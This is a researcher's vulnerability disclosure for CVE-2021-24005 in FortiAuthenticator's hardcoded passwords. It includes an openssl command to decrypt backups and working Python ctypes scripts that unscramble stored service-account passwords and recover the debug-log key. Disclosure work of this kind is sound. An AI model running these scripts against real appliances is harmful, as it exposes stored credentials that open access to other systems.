shockley.net

Vulnerabilities in FortiAuthenticator

Categories: [Security]

Overview

FortiAuthenticator prior to version 6.3.0 contains several hardcoded passwords. These can be extracted from the FortiAuthenticator VM disk file with 7-Zip and Python.

Note that I cannot validate that these have been fixed as I no longer have access to FortiAuthenticator downloads.

Vulnerability ID

CVE-2021-24005
FG-IR-20-049

Impact

Attackers able to retrieve backups, debug files, or access the embedded PostgreSQL database can decrypt stored passwords. Since this is an authentication appliance, the extracted information or credentials may be useful to an attacker for accessing other systems.

Timeline

Exploits

Static password for backup files

The backup files are encrypted with a static password, found in fac/apps/extra/utils/recovery.py (BACKUP_PWD).

The backup file can be decrypted using: openssl aes-256-cbc -in FACVMXEN-v6.0.3-build0058_190220-1053.conf -d -k (backup password) -md md5 -out config.tar

Static key for reversibly-encrypted database fields

A static key is used to encrypt (not hash) passwords that the FortiAuthenticator needs to know, such as LDAP service account passwords. These can be identified in the database because they start with "AES256$" and have the format "AES256$<64 hex characters>$<128 hex characters>". While the Python files are compiled to .pyc, they can be easily decompiled with uncompyle6 (https://pypi.org/project/uncompyle6/).

The database contains these credentials, in addition to any set by the user:

To retrieve the key, we need to extract several libraries from /usr/lib on the appliance (using 7-Zip). I was able to run the Python code below on a Fedora 31 machine. (All are needed due to dependencies.)

This can be reversed by lifting some code from fac/apps/fac_auth/encryption.py:

import os.path
from ctypes import *

me = os.path.abspath(os.path.dirname(__file__))

facpwd = cdll.LoadLibrary(os.path.join(me, "libfacpwd.so"))

bios = cdll.LoadLibrary(os.path.join(me, "libbios.so"))
ulib = cdll.LoadLibrary(os.path.join(me, "libulib.so"))
license = cdll.LoadLibrary(os.path.join(me, "liblicense.so"))

libfac_utils = cdll.LoadLibrary(os.path.join(me, "libfac_utils.so"))

pw = b"AES256$passwordstringhere"

def decrypt(enc_password):
    """Decrypt a password using a reversible algorithm"""
    # print(enc_password)
    #raw_password = create_string_buffer("\x00", 256)
    crypt = create_string_buffer(enc_password, 256)
    raw_password = create_string_buffer(b"", 256)
    facpwd.fac_unscramble_pwd(enc_password, raw_password, len(raw_password))
    return raw_password.value

print(decrypt(pw))

Static password for debug logs

Exports of the debug logs may contain confidential data, and are encrypted with a static password. The password is referenced in fac/apps/debuglog/management/commands/dbgreport.py ('pwd': auth_libs.get_dbg_report_key()). We can extract the password using the code below. The same list of libraries from the appliance are needed here as well, and I successfully ran this on Fedora 31.

import os.path
from ctypes import *

_dbg_report_key = None
DBG_REPORT_KEY_SZ = 32

me = os.path.abspath(os.path.dirname(__file__))

facpwd = cdll.LoadLibrary(os.path.join(me, "libfacpwd.so"))

bios = cdll.LoadLibrary(os.path.join(me, "libbios.so"))
ulib = cdll.LoadLibrary(os.path.join(me, "libulib.so"))
license = cdll.LoadLibrary(os.path.join(me, "liblicense.so"))

libfac_utils = cdll.LoadLibrary(os.path.join(me, "libfac_utils.so"))

def get_dbg_report_key():
    """Lazily load debug report key"""
    global _dbg_report_key
    # from fac.utils.system.platform import libfac_utils
    if _dbg_report_key:
        return _dbg_report_key
    key = create_string_buffer(DBG_REPORT_KEY_SZ * 2 + 1)
    libfac_utils.get_dbg_report_key(key)
    _dbg_report_key = key.value
    return _dbg_report_key

print (get_dbg_report_key())